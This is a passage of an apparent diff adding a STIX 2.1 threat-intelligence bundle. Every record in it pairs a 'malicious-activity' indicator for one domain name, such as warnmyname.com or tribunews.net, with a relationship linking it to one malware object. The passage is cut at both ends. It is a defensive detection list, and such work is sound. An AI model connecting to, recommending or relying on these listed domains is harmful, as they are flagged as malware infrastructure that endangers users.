"stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.844849Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1b27cb48-5852-48f0-8cbf-b7d2e51ad524", + "created": "2023-03-29T12:58:44.845441Z", + "modified": "2023-03-29T12:58:44.845441Z", + "relationship_type": "indicates", + "source_ref": "indicator--973d2d37-bfa0-41c0-8d9a-d25fa03b1ad9", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0c9e1113-3fea-4390-ba7d-b3f86e5bfb5f", + "created": "2023-03-29T12:58:44.845612Z", + "modified": "2023-03-29T12:58:44.845612Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='warnmyname.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.845612Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6f4c383e-a88f-4769-b624-6d41becacb12", + "created": "2023-03-29T12:58:44.846197Z", + "modified": "2023-03-29T12:58:44.846197Z", + "relationship_type": "indicates", + "source_ref": "indicator--0c9e1113-3fea-4390-ba7d-b3f86e5bfb5f", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b3dd86cd-4a0c-4f05-8bbd-d246d5bd62c3", + "created": "2023-03-29T12:58:44.846363Z", + "modified": "2023-03-29T12:58:44.846363Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='moneylessstaining.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.846363Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d7a0e9e9-c9f1-400d-b0dd-70a73b27ee2c", + "created": "2023-03-29T12:58:44.846956Z", + "modified": "2023-03-29T12:58:44.846956Z", + "relationship_type": "indicates", + "source_ref": "indicator--b3dd86cd-4a0c-4f05-8bbd-d246d5bd62c3", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f21433dc-2d94-466d-9584-ea844159a459", + "created": "2023-03-29T12:58:44.847123Z", + "modified": "2023-03-29T12:58:44.847123Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='annuitygrove.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.847123Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d70951c3-9686-49cb-9c27-b34efdf3b5d3", + "created": "2023-03-29T12:58:44.847719Z", + "modified": "2023-03-29T12:58:44.847719Z", + "relationship_type": "indicates", + "source_ref": "indicator--f21433dc-2d94-466d-9584-ea844159a459", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0b6cc05e-d152-46f9-b907-d64bf2be1845", + "created": "2023-03-29T12:58:44.847888Z", + "modified": "2023-03-29T12:58:44.847888Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='footsorecrazed.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.847888Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--78c4d94f-7e4b-4730-903c-6f964ebfde29", + "created": "2023-03-29T12:58:44.848485Z", + "modified": "2023-03-29T12:58:44.848485Z", + "relationship_type": "indicates", + "source_ref": "indicator--0b6cc05e-d152-46f9-b907-d64bf2be1845", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8ccef25c-e48f-4dfd-99d7-42ac9729f297", + "created": "2023-03-29T12:58:44.848653Z", + "modified": "2023-03-29T12:58:44.848653Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sandbagescapade.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.848653Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6017f372-15b3-4a0e-a62d-81b39db1a04b", + "created": "2023-03-29T12:58:44.849251Z", + "modified": "2023-03-29T12:58:44.849251Z", + "relationship_type": "indicates", + "source_ref": "indicator--8ccef25c-e48f-4dfd-99d7-42ac9729f297", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b8511ff0-46ff-47ba-a296-13d95fc8f770", + "created": "2023-03-29T12:58:44.849419Z", + "modified": "2023-03-29T12:58:44.849419Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='casacibo.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.849419Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--01d9ae6d-d65a-4df6-ba19-ab5a675d891a", + "created": "2023-03-29T12:58:44.850015Z", + "modified": "2023-03-29T12:58:44.850015Z", + "relationship_type": "indicates", + "source_ref": "indicator--b8511ff0-46ff-47ba-a296-13d95fc8f770", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--71f5a35c-b2c5-4831-a215-37e8f847aa73", + "created": "2023-03-29T12:58:44.850184Z", + "modified": "2023-03-29T12:58:44.850184Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='footnotedoze.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.850184Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--12245fc4-6318-4e71-8f2e-be9ce61fab93", + "created": "2023-03-29T12:58:44.850884Z", + "modified": "2023-03-29T12:58:44.850884Z", + "relationship_type": "indicates", + "source_ref": "indicator--71f5a35c-b2c5-4831-a215-37e8f847aa73", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0b9a0a15-66d6-4f19-a90c-012f7a38663d", + "created": "2023-03-29T12:58:44.851057Z", + "modified": "2023-03-29T12:58:44.851057Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='latrinepagan.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.851057Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ba3ef2b4-ca79-4c30-ae6c-ad88b22246c6", + "created": "2023-03-29T12:58:44.851651Z", + "modified": "2023-03-29T12:58:44.851651Z", + "relationship_type": "indicates", + "source_ref": "indicator--0b9a0a15-66d6-4f19-a90c-012f7a38663d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--81b94c09-aaab-4eda-a3aa-87480d99e2e9", + "created": "2023-03-29T12:58:44.851819Z", + "modified": "2023-03-29T12:58:44.851819Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='putdownslush.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.851819Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--91170d37-8f7a-4216-b31c-2ff711d05507", + "created": "2023-03-29T12:58:44.852407Z", + "modified": "2023-03-29T12:58:44.852407Z", + "relationship_type": "indicates", + "source_ref": "indicator--81b94c09-aaab-4eda-a3aa-87480d99e2e9", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b207e57c-c7f6-4efc-9a9a-0cbe57ffc72c", + "created": "2023-03-29T12:58:44.852576Z", + "modified": "2023-03-29T12:58:44.852576Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='nastilyhenna.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.852576Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--da03ba60-595b-49c8-b914-07b7a053a46b", + "created": "2023-03-29T12:58:44.853165Z", + "modified": "2023-03-29T12:58:44.853165Z", + "relationship_type": "indicates", + "source_ref": "indicator--b207e57c-c7f6-4efc-9a9a-0cbe57ffc72c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--29938eff-6deb-4eb3-8984-6a6ab5cea02b", + "created": "2023-03-29T12:58:44.853333Z", + "modified": "2023-03-29T12:58:44.853333Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='vieweraide.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.853333Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b3763950-a5fd-4fc8-a0f3-b036f98534fb", + "created": "2023-03-29T12:58:44.853954Z", + "modified": "2023-03-29T12:58:44.853954Z", + "relationship_type": "indicates", + "source_ref": "indicator--29938eff-6deb-4eb3-8984-6a6ab5cea02b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--48ca2027-9b46-4522-a4fa-09c6f7f13f4c", + "created": "2023-03-29T12:58:44.85413Z", + "modified": "2023-03-29T12:58:44.85413Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='helperreversing.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.85413Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4cc4ac63-1fa2-4e62-9e39-fb465621e775", + "created": "2023-03-29T12:58:44.854724Z", + "modified": "2023-03-29T12:58:44.854724Z", + "relationship_type": "indicates", + "source_ref": "indicator--48ca2027-9b46-4522-a4fa-09c6f7f13f4c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5cf1686d-0df5-4743-8748-841678c3c22e", + "created": "2023-03-29T12:58:44.854891Z", + "modified": "2023-03-29T12:58:44.854891Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='implementfifty.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.854891Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e35025e6-dece-42c7-802c-9acc962e3704", + "created": "2023-03-29T12:58:44.855487Z", + "modified": "2023-03-29T12:58:44.855487Z", + "relationship_type": "indicates", + "source_ref": "indicator--5cf1686d-0df5-4743-8748-841678c3c22e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--79fc561d-780a-495f-afa0-58b2d35481a7", + "created": "2023-03-29T12:58:44.855658Z", + "modified": "2023-03-29T12:58:44.855658Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='lonsfacts.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.855658Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--442e0a69-9c40-4e03-93ae-61e403a43d24", + "created": "2023-03-29T12:58:44.856247Z", + "modified": "2023-03-29T12:58:44.856247Z", + "relationship_type": "indicates", + "source_ref": "indicator--79fc561d-780a-495f-afa0-58b2d35481a7", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--cdbef55c-e83c-4c40-90f2-d5c68edd20e2", + "created": "2023-03-29T12:58:44.856419Z", + "modified": "2023-03-29T12:58:44.856419Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='unboltedlevers.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.856419Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--38758277-a9f0-4e88-90c6-2e36a8eb8a96", + "created": "2023-03-29T12:58:44.857008Z", + "modified": "2023-03-29T12:58:44.857008Z", + "relationship_type": "indicates", + "source_ref": "indicator--cdbef55c-e83c-4c40-90f2-d5c68edd20e2", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fb39c25a-cdd5-455b-bde9-588013f18d17", + "created": "2023-03-29T12:58:44.857174Z", + "modified": "2023-03-29T12:58:44.857174Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='womanlyshrapnel.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.857174Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a07cebd6-78c3-4f4b-a5c1-ee64308fc98a", + "created": "2023-03-29T12:58:44.857891Z", + "modified": "2023-03-29T12:58:44.857891Z", + "relationship_type": "indicates", + "source_ref": "indicator--fb39c25a-cdd5-455b-bde9-588013f18d17", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f537b338-0162-42b3-8d15-fe73f08f3a43", + "created": "2023-03-29T12:58:44.858066Z", + "modified": "2023-03-29T12:58:44.858066Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tribunews.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.858066Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c13cd307-b4e3-415e-b770-df900052b163", + "created": "2023-03-29T12:58:44.858658Z", + "modified": "2023-03-29T12:58:44.858658Z", + "relationship_type": "indicates", + "source_ref": "indicator--f537b338-0162-42b3-8d15-fe73f08f3a43", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4cb29f4c-bae3-4429-a408-e13383583883", + "created": "2023-03-29T12:58:44.858826Z", + "modified": "2023-03-29T12:58:44.858826Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='flowermake.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.858826Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--98a5bf9f-bbcb-4a75-9f77-88014ee6b5b0", + "created": "2023-03-29T12:58:44.859411Z", + "modified": "2023-03-29T12:58:44.859411Z", + "relationship_type": "indicates", + "source_ref": "indicator--4cb29f4c-bae3-4429-a408-e13383583883", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--44ea6f59-95d4-42bd-809a-cafa6ff657af", + "created": "2023-03-29T12:58:44.859578Z", + "modified": "2023-03-29T12:58:44.859578Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='hectorsplumbing.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.859578Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--cd7c86cc-c221-4d87-971f-ad89c9fbc7ef", + "created": "2023-03-29T12:58:44.860172Z", + "modified": "2023-03-29T12:58:44.860172Z", + "relationship_type": "indicates", + "source_ref": "indicator--44ea6f59-95d4-42bd-809a-cafa6ff657af", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3bd5a7ea-ed8f-4827-97ed-d2a0247889f5", + "created": "2023-03-29T12:58:44.860341Z", + "modified": "2023-03-29T12:58:44.860341Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tropicsenergy.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.860341Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c88c0e6f-4890-41bc-bea7-03d97bfce639", + "created": "2023-03-29T12:58:44.860929Z", + "modified": "2023-03-29T12:58:44.860929Z", + "relationship_type": "indicates", + "source_ref": "indicator--3bd5a7ea-ed8f-4827-97ed-d2a0247889f5", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--aa43e61b-b587-4904-9716-51e0c8bbf1d9", + "created": "2023-03-29T12:58:44.861095Z", + "modified": "2023-03-29T12:58:44.861095Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='alivemultiply.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.861095Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ba68b9d8-f8b1-4fa6-abbc-162658bc2819", + "created": "2023-03-29T12:58:44.8617Z", + "modified": "2023-03-29T12:58:44.8617Z", + "relationship_type": "indicates", + "source_ref": "indicator--aa43e61b-b587-4904-9716-51e0c8bbf1d9", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--eeabff0e-1603-4192-8d43-71227d3f599b", + "created": "2023-03-29T12:58:44.861872Z", + "modified": "2023-03-29T12:58:44.861872Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='daisyrascal.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.861872Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3523f6a7-6719-49a8-9136-5c82c328faa8", + "created": "2023-03-29T12:58:44.862461Z", + "modified": "2023-03-29T12:58:44.862461Z", + "relationship_type": "indicates", + "source_ref": "indicator--eeabff0e-1603-4192-8d43-71227d3f599b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fb2ca925-5ea3-4162-a9ce-2842fb469cec", + "created": "2023-03-29T12:58:44.86263Z", + "modified": "2023-03-29T12:58:44.86263Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='caratrejoicing.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.86263Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5dab87de-5782-4857-abfd-7b877ddc29bb", + "created": "2023-03-29T12:58:44.863225Z", + "modified": "2023-03-29T12:58:44.863225Z", + "relationship_type": "indicates", + "source_ref": "indicator--fb2ca925-5ea3-4162-a9ce-2842fb469cec", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8bc832aa-b5d5-46f1-8298-25273841097f", + "created": "2023-03-29T12:58:44.863393Z", + "modified": "2023-03-29T12:58:44.863393Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='gliderdandruff.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.863393Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4202a49a-afa3-4f1c-a830-5c9a7931b085", + "created": "2023-03-29T12:58:44.863995Z", + "modified": "2023-03-29T12:58:44.863995Z", + "relationship_type": "indicates", + "source_ref": "indicator--8bc832aa-b5d5-46f1-8298-25273841097f", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--de1e225d-5abc-45dd-b4c0-bbb090412f84", + "created": "2023-03-29T12:58:44.864164Z", + "modified": "2023-03-29T12:58:44.864164Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='germlessoutgrow.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.864164Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--dd69dba8-d26f-4e29-82e7-033a7c79671c", + "created": "2023-03-29T12:58:44.864875Z", + "modified": "2023-03-29T12:58:44.864875Z", + "relationship_type": "indicates", + "source_ref": "indicator--de1e225d-5abc-45dd-b4c0-bbb090412f84", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6b773dfe-7531-482e-accf-1f62a56fb9eb", + "created": "2023-03-29T12:58:44.865052Z", + "modified": "2023-03-29T12:58:44.865052Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='mathskids.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.865052Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--37297688-420b-486e-994d-17f7b5977441", + "created": "2023-03-29T12:58:44.865648Z", + "modified": "2023-03-29T12:58:44.865648Z", + "relationship_type": "indicates", + "source_ref": "indicator--6b773dfe-7531-482e-accf-1f62a56fb9eb", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--97715195-dda3-4610-b895-6affd1253487", + "created": "2023-03-29T12:58:44.865816Z", + "modified": "2023-03-29T12:58:44.865816Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='mongooseislamist.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.865816Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--83b2be01-ee41-4abf-8b90-b7a99aa43102", + "created": "2023-03-29T12:58:44.866407Z", + "modified": "2023-03-29T12:58:44.866407Z", + "relationship_type": "indicates", + "source_ref": "indicator--97715195-dda3-4610-b895-6affd1253487", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--eff436c7-ca43-4dd1-a47a-d1a3bd571ba7", + "created": "2023-03-29T12:58:44.866574Z", + "modified": "2023-03-29T12:58:44.866574Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='situationstoplight.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.866574Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4c36cfab-349b-4ae1-b7da-dd2bd49bcd1a", + "created": "2023-03-29T12:58:44.867168Z", + "modified": "2023-03-29T12:58:44.867168Z", + "relationship_type": "indicates", + "source_ref": "indicator--eff436c7-ca43-4dd1-a47a-d1a3bd571ba7", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1982a413-f4f1-4969-8f6a-8e1b41f7e27e", + "created": "2023-03-29T12:58:44.867335Z", + "modified": "2023-03-29T12:58:44.867335Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='riotduplicity.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.867335Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--785119cb-1aa9-4d93-b680-ebe518f90a0a", + "created": "2023-03-29T12:58:44.867924Z", + "modified": "2023-03-29T12:58:44.867924Z", + "relationship_type": "indicates", + "source_ref": "indicator--1982a413-f4f1-4969-8f6a-8e1b41f7e27e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6f0c52c4-a70b-42c0-82f8-3541b54f0f8d", + "created": "2023-03-29T12:58:44.868092Z", + "modified": "2023-03-29T12:58:44.868092Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='deityculpable.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.868092Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--32ba329d-0371-4c88-8364-69d7ca2c8c67", + "created": "2023-03-29T12:58:44.868682Z", + "modified": "2023-03-29T12:58:44.868682Z", + "relationship_type": "indicates", + "source_ref": "indicator--6f0c52c4-a70b-42c0-82f8-3541b54f0f8d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0f2e9f36-b5f2-4160-ba62-d9bd6b41fff8", + "created": "2023-03-29T12:58:44.868849Z", + "modified": "2023-03-29T12:58:44.868849Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='greenpartone.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.868849Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a3e5c8a7-71f4-45f5-a072-d1b0eac31cd4", + "created": "2023-03-29T12:58:44.869446Z", + "modified": "2023-03-29T12:58:44.869446Z", + "relationship_type": "indicates", + "source_ref": "indicator--0f2e9f36-b5f2-4160-ba62-d9bd6b41fff8", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2320550c-6f93-47e8-a0ba-1fed5e5892bd", + "created": "2023-03-29T12:58:44.869621Z", + "modified": "2023-03-29T12:58:44.869621Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='existingunsealed.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.869621Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c997bc87-5ee4-4fc6-b872-e170815247bc", + "created": "2023-03-29T12:58:44.870218Z", + "modified": "2023-03-29T12:58:44.870218Z", + "relationship_type": "indicates", + "source_ref": "indicator--2320550c-6f93-47e8-a0ba-1fed5e5892bd", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--91f85801-2a1a-4fcd-aa8f-bf3c7ea60989", + "created": "2023-03-29T12:58:44.870385Z", + "modified": "2023-03-29T12:58:44.870385Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='relivepurge.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.870385Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0e37f486-e9e3-4eb4-bc91-f460281757cd", + "created": "2023-03-29T12:58:44.870972Z", + "modified": "2023-03-29T12:58:44.870972Z", + "relationship_type": "indicates", + "source_ref": "indicator--91f85801-2a1a-4fcd-aa8f-bf3c7ea60989", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c7409070-85e5-47da-81c6-7eb5494dbba5", + "created": "2023-03-29T12:58:44.871146Z", + "modified": "2023-03-29T12:58:44.871146Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='crudenessundusted.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.871146Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--dfe29cf4-e35f-48e0-aafe-475922c8deff", + "created": "2023-03-29T12:58:44.871854Z", + "modified": "2023-03-29T12:58:44.871854Z", + "relationship_type": "indicates", + "source_ref": "indicator--c7409070-85e5-47da-81c6-7eb5494dbba5", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5b1b9023-fd00-4d24-9dcb-d1935a6ec101", + "created": "2023-03-29T12:58:44.872027Z", + "modified": "2023-03-29T12:58:44.872027Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='flatbluenotes.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.872027Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--56549da9-ed31-410a-b2fb-a40bfeb0fa67", + "created": "2023-03-29T12:58:44.872618Z", + "modified": "2023-03-29T12:58:44.872618Z", + "relationship_type": "indicates", + "source_ref": "indicator--5b1b9023-fd00-4d24-9dcb-d1935a6ec101", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--57a73f79-d461-4ec0-8f7b-e087a4a52882", + "created": "2023-03-29T12:58:44.872785Z", + "modified": "2023-03-29T12:58:44.872785Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='reapprovehanded.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.872785Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bc93b3ed-0352-432e-afd8-522c6b8982dc", + "created": "2023-03-29T12:58:44.873378Z", + "modified": "2023-03-29T12:58:44.873378Z", + "relationship_type": "indicates", + "source_ref": "indicator--57a73f79-d461-4ec0-8f7b-e087a4a52882", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--442e975b-d701-4bb8-9933-bc453178a589", + "created": 